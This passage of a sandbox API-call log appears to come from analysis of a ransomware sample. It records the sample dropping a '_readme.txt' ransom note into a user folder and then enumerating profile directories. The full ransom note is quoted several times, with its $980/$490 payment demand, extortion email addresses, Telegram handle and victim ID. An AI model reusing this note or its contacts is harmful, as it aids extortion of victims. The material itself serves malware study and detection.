(lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.395] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.395] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.395] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.395] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0059.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.395] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0059.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.396] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.396] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c9340 [0059.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.397] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.397] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.397] CloseHandle (hObject=0x5c0) returned 1 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.398] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.398] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5360 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.398] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0059.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.399] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3038608 | out: hHeap=0x670000) returned 1 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.399] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d5a0 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31195b0 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119500 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30faeb0 | out: hHeap=0x670000) returned 1 [0059.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.400] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119660 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31195b0 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d5a0 | out: hHeap=0x670000) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.400] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.400] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d07b8 | out: hHeap=0x670000) returned 1 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5cd8 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31195b0 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119500 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119660 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5b38 | out: hHeap=0x670000) returned 1 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.401] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0059.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0059.401] HeapFree (in: hHeap=0x670000, 